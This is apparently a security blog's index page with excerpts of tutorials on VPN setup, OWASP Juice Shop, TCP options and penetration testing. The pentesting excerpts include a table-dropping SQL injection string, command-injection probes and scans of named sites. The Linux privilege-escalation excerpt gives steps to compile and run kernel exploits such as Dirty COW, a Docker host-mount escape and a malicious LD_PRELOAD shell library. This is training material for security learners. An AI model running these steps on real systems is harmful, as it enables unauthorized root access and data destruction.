Skip to content

2024

  • 6 min read

Remote Access Using WireGuard & TigerVNC

In an era of rapidly evolving technology, many parents who didn’t grow up with modern devices often need help navigating new advancements. When parents live far away, offering this support becomes more challenging. A secure and efficient remote access system can bridge this gap, allowing for support and troubleshooting. This guide walks through how to set up such a system using WireGuard VPN and TigerVNC, ensuring remote connections are secure and effective without sacrificing performance. In this example, the user has a Unifi Dream Machine they are using as their gateway router so the Unifi OS interface is used for the local network configuration.

facetimeDad-chacho

Step 1: Set Up WireGuard VPN on the UDM

Wireguard is used as the preferred VPN protocol because of its lightweight and speed efficiency providing a more ideal solution than OpenVPN.

Access the UDM Interface

1. Open Your Web Browser:

  • Enter the IP address of your UDM in the address bar (e.g. https://192.168.1.1).
  • Log in with your credentials.

2. Navigate to the VPN Settings:

  • In the UDM interface, click on Settings from the left-hand menu.
  • Go to VPN under the Services section.
  • 3 min read
Draft

Juice Shop Web App

juiceshop-chacho

OWASP Juice Shop is an intentionally vulnerable web application created by the Open Web Application Security Project (OWASP) for security training purposes. It simulates a real-world e-commerce site, allowing users to explore and exploit various security vulnerabilities in a safe environment.

Key Features

  1. Wide Range of Vulnerabilities: Juice Shop covers the entire OWASP Top 10, as well as other common security flaws, offering a comprehensive learning experience.

  2. User-Friendly Interface: Despite being intentionally vulnerable, the application has a realistic and user-friendly interface, making it accessible for beginners and useful for experienced testers.

  3. Gamified Learning: It incorporates a gamification aspect where users can track their progress and achievements as they discover and exploit different vulnerabilities.

  4. Extensive Documentation: Juice Shop comes with extensive documentation, tutorials, and guides to help users understand the vulnerabilities and learn how to mitigate them.

  5. Open Source: As an open-source project, it encourages community contributions and is freely available for anyone to use and modify.

OWASP Top 10

  1. Broken Access Control:

    • Test: Attempt to access unauthorized pages or functionalities by manipulating URLs, using different user roles, or changing request parameters.
    • Example: As a low-privileged user, try to access an admin page by directly entering the URL (/admin).

  2. Cryptographic Failures:

    • Test: Inspect the application's use of encryption and hashing algorithms. Look for the use of weak algorithms or improper implementation.
    • Example: Check if sensitive data, such as passwords, are stored using weak hash functions like MD5 instead of stronger options like bcrypt.

  3. Injection:

    • Test: Insert malicious code into input fields to see if it's executed by the server, for example: SQL, NoSQL, OS, and LDAP injection.
    • Example: Enter '; DROP TABLE users; -- into a form field to test for SQL injection.

  4. Insecure Design:

    • Test: Review the application architecture and design documents for security flaws. Perform threat modeling to identify design weaknesses.
    • Example: Assess if sensitive data is adequately protected throughout its lifecycle (e.g., encryption in transit and at rest).

  5. Security Misconfiguration:

    • Test: Verify the configuration settings of servers, databases, and applications. Check for default accounts, open ports, and unnecessary services.
    • Example: Use tools like Nmap to scan for open ports and identify if unnecessary services are exposed.

  6. Vulnerable and Outdated Components:

    • Test: Identify all third-party libraries and components used by the application. Check their versions against known vulnerabilities databases.
    • Example: Use tools like OWASP Dependency-Check or Snyk to scan for vulnerable dependencies.

  7. Identification and Authentication Failures:

    • Test: Evaluate the authentication mechanisms. Attempt brute force attacks, session hijacking, and other techniques to bypass authentication.
    • Example: Test password complexity requirements and rate limits on login attempts to prevent brute force attacks.

  8. Software and Data Integrity Failures:

    • Test: Check the integrity of software updates and data. Verify the use of digital signatures and other integrity mechanisms.
    • Example: Analyze the update mechanism to ensure updates are signed and verified before installation.

  9. Security Logging and Monitoring Failures:

    • Test: Review the logging and monitoring configuration. Ensure that security events are logged and monitored properly.
    • Example: Attempt actions that should trigger alerts (e.g., multiple failed login attempts) and check if they are logged and generate alerts.

  10. Server-Side Request Forgery (SSRF):

    • Test: Manipulate URLs in requests to see if the server can be tricked into fetching data from internal systems or unauthorized locations.
    • Example: Modify a URL parameter to access internal services (e.g., changing http://external.com/resource to http://localhost/admin).

You can run it via node.js, a Docker container, or Vagrant. See more info on their website.

  • 2 min read
Draft

Docker Cheatsheet

docker-chacho

Docker is a platform that allows developers to automate the deployment of applications inside lightweight, portable containers. This cheatsheet provides a quick reference to some of the most commonly used Docker commands, formatted for easy copy-pasting. Use this as a handy resource for managing your Docker containers, images, volumes, and more.

  • 8 min read
Draft

Windows Awareness Checks

windowsAwareness-chacho

Introduction

When a penetration tester gains access to a Windows target, the primary goal is to gather as much information as possible about the environment. This includes performing various awareness checks to identify potential security risks, understand the current security posture, and gather intelligence for privilege escalation or further exploitation. This guide outlines a series of checks, grouped by categories, that should be performed immediately after gaining access to a Windows system.

System Information and Security Policies

Check System Information

Gather detailed information about the system, including the operating system version, architecture, and installed patches. This information is crucial for understanding the environment and identifying potential vulnerabilities.

  • 12 min read

TCP: A Closer Look

TCP, as a fundamental protocol, offers options and mechanisms that enhance its functionality across diverse network environments. Understanding these options is crucial for network engineers, security professionals, and system administrators. This primer delves into the key TCP options, such as Maximum Segment Size (MSS), Window Scaling, and Selective Acknowledgments (SACK), as well as essential TCP features like retransmissions, congestion control, and TCP flags. Additionally, it explores the intricacies of TCP window size analysis, padding practices in TCP/UDP, and the implications of TCP options on network performance and security.

tcp-chacho

Common TCP Options

TCP provides several options that enhance its functionality and allow for fine-tuning in various network environments. Understanding these options is crucial for optimizing performance and ensuring robust communication.

1. Maximum Segment Size (MSS)

The Maximum Segment Size (MSS) specifies the maximum segment size that a device is willing to accept, which directly impacts the efficiency of data transfer. MSS values typically vary based on the underlying network's Maximum Transmission Unit (MTU):

What might they tell us?
  • A small MSS (<1400 bytes) often indicates tunneling or VPNs due to encapsulation overhead.
  • A standard MSS (~1460 bytes) suggests a typical Ethernet network without additional encapsulation.
  • A larger MSS (>1460 bytes) points to networks using jumbo frames, commonly seen in high-performance environments.
Filter: MSS Size Variations
tcp.options.mss_val < 1400 or tcp.options.mss_val > 1460
  • 3 min read

Command Injection

wheelOfFortune-chacho

Scenario 1: Command Injection

Objective: Identify and exploit a command injection vulnerability in a web application that allows user inputs to be executed as system commands.

1. Identify Input Fields

Look for forms or input fields where user data might be passed to the system. Common examples include search fields, login forms, or any other input that interacts with the backend.

2. Test Basic Injection

Input a command that could reveal if the system is processing your input. For example, try inputting ; id or && id in the input field. Submit the form and observe the response. If user identity information is shown in the response, you have identified a command injection vulnerability.

  • 4 min read
Draft

A Taste of the Browser Exploitation Framework (BeEF)

beef-chacho

What is BeEF?

BeEF (Browser Exploitation Framework) is a powerful tool that allows penetration testers to assess the security of browser clients. It uses XSS (Cross-Site Scripting) vulnerabilities to hook the target's browser and control it remotely.

Using BeEF to Exploit a XSS Vuln

This walkthrough will use BeEF to exploit the XSS vulnerability outlined here.

  • ATTACK_IP: 10.1.1.5
  • pfSense: 10.1.1.40
  • TARGET_IP (web server): 172.16.5.5

Configure and Start BeEF

1. View BeEF Configuration
$ less /opt/beef/config.yaml
Why?

Viewing the configuration file helps understand how BeEF is set up and configured, ensuring that it operates correctly within your network.

2. Modify the value for permitted_hooking_subnet
  • Value: 10.1.1.40/32
Why?

This setting restricts which IP addresses can be hooked by BeEF. It ensures only devices within the specified subnet are targeted, enhancing security by limiting exposure.

3. Modify the value for permitted_ui_subnet
  • Value: 127.0.0.1/32
Why?

This restricts access to the BeEF UI to the local machine, preventing unauthorized remote access to the control panel.

  • 6 min read
Draft

File Inclusion Penetration Testing

A local file inclusion attack is like a guest at a party discovering an unlocked door to the host's private study. Once inside, they rummage through personal files and sensitive documents, taking advantage of the unlocked door to access information not meant for them.

fileInclusion-chacho

File inclusion vulnerabilities occur when a web application allows users to include files without proper validation. There are two types of file inclusion vulnerabilities: Local File Inclusion (LFI) and Remote File Inclusion (RFI).

  • Local File Inclusion (LFI): This vulnerability occurs when an attacker can include files that are already present on the server. It is typically exploited to read sensitive files such as configuration files, password files, and logs, which may contain valuable information.
  • Remote File Inclusion (RFI): This vulnerability occurs when an attacker can include files from remote servers. This can be used to execute malicious code hosted on an external server, potentially leading to a complete server compromise. RFI is often used when attackers do not have other means of access to the target server.

File inclusion vulnerabilities can be used for various purposes, including information disclosure, code execution, and privilege escalation.

Scenario: LFI

You have been tasked with pentesting a WordPress-based web application. Your goal is to identify any vulnerabilities and demonstrate how any findings could be exploited.

Step 1: Identifying Vulnerability

1. Reconnaissance and Enumeration
  • Use nmap, a network scanning tool, to perform a basic scan of the target: 
    nmap -sV -p 80,443 targetsite.com
  • This step is important to identify open ports and services running on the target server.
  • You discover that the application is hosted on a Linux server running Apache with WordPress.
  • Use WPScan, a WordPress vulnerability scanner, to identify plugins and potential vulnerabilities: 
    wpscan --url http://targetsite.com --enumerate p
  • 8 min read
Draft

File Upload Penetration Testing

File Upload Vulnerabilities

fileupload-chacho

File upload vulnerabilities occur when a web application fails to properly validate or sanitize user-uploaded files. This can lead to various security issues, including remote code execution, server-side script execution, and unauthorized access to sensitive data. In this walkthrough, we will explore the process of identifying file upload vulnerabilities in a fictional web application called "PhotoShare," crafting a payload using msfvenom, testing the vulnerability, and presenting the findings in a pentest report.

Scenario

You have been tasked with pentesting "PhotoShare," a web application that allows users to upload and share photos. Your goal is to identify any file upload vulnerabilities and demonstrate how they can be exploited.

Step 1: Identifying Potential File Upload Vulnerability

1. Reconnaissance and Enumeration:
  • Use nmap, a network scanning tool, to perform a basic scan of the target: 
    nmap -sV -p 80,443 photoshare.com
  • Discover that the application is hosted on a Linux server running Apache.
  • Use DirBuster, a tool for brute-forcing web paths, to find hidden directories and files: 
    dirbuster -u http://photoshare.com -w /path/to/wordlist.txt
  • This helps in discovering directories that may not be publicly listed but could contain important endpoints.
  • Identify a file upload endpoint: http://photoshare.com/profile/upload.php.
2. Initial Testing:
  • Visit the upload page and try uploading various file types (e.g., test.jpg, test.png, test.php) to observe the server's response.
  • This is to check if the server is accepting different file formats without proper validation.
  • Notice that the server allows .php files to be uploaded without validation, indicating a potential vulnerability.
  • 7 min read
Draft

Linux Privilege Escalation: Going Up!

privEsc-chacho

Privilege escalation on a Linux system is about exploiting specific vulnerabilities, misconfigurations, or oversights to gain elevated access — typically root. Even on a hardened system, subtle weaknesses like improperly configured SUID/SGID binaries, world-writable files, or unpatched kernel exploits can provide an attacker with a path to escalate privileges. The process involves thorough enumeration to uncover these opportunities, followed by precise exploitation, whether through command injection, leveraging environment variables, or exploiting vulnerable binaries. Mastery of these techniques allows you to move from basic user access to full system control, a crucial step in both offensive security and system hardening.

1. Initial Enumeration

System Info

uname -a
If you find that the system is running an outdated kernel version, such as 3.10.0-327, search for related exploits using searchsploit.

searchsploit 3.10.0-327
If an exploit (e.g. Dirty C0W (CVE-2016-5195)) is found, download and compile it. 
searchsploit -m linux/local/40616.c
gcc -pthread 40616.c -o dirtyc0w
./dirtyc0w

Kernel Version

uname -r
If uname -r shows a kernel version with a known local exploit, search for it using searchsploit:

searchsploit <kernel_version>
For example, if the kernel is 2.6.32-431, search for relevant exploits. 
searchsploit 2.6.32-431
Download and execute the exploit. 
searchsploit -m linux/local/15285.c
gcc 15285.c -o exploit
./exploit

User & Group Info

id
If you are part of an uncommon or privileged group like docker or lxd, search for container escape techniques.

For Docker: 

docker run -v /:/mnt --rm -it alpine chroot /mnt sh


whoami
If you're logged in as a low-privilege user but can see that you have sudo privileges without a password, you can escalate immediately:

sudo su


cat /etc/passwd
If you find a user with UID 0 but a non-standard shell or directory, investigate further by attempting to switch to that user:

su <username>

2. Environment Enumeration

Environment Variables

env
If you find an environment variable like LD_PRELOAD or PATH manipulated, create a malicious shared library to exploit LD_PRELOAD:

Create a malicious shared library: 

// malicious.c
void _init() {
    setgid(0);
    setuid(0);
    system("/bin/sh");
}


gcc -shared -o /tmp/malicious.so -fPIC malicious.c
export LD_PRELOAD=/tmp/malicious.so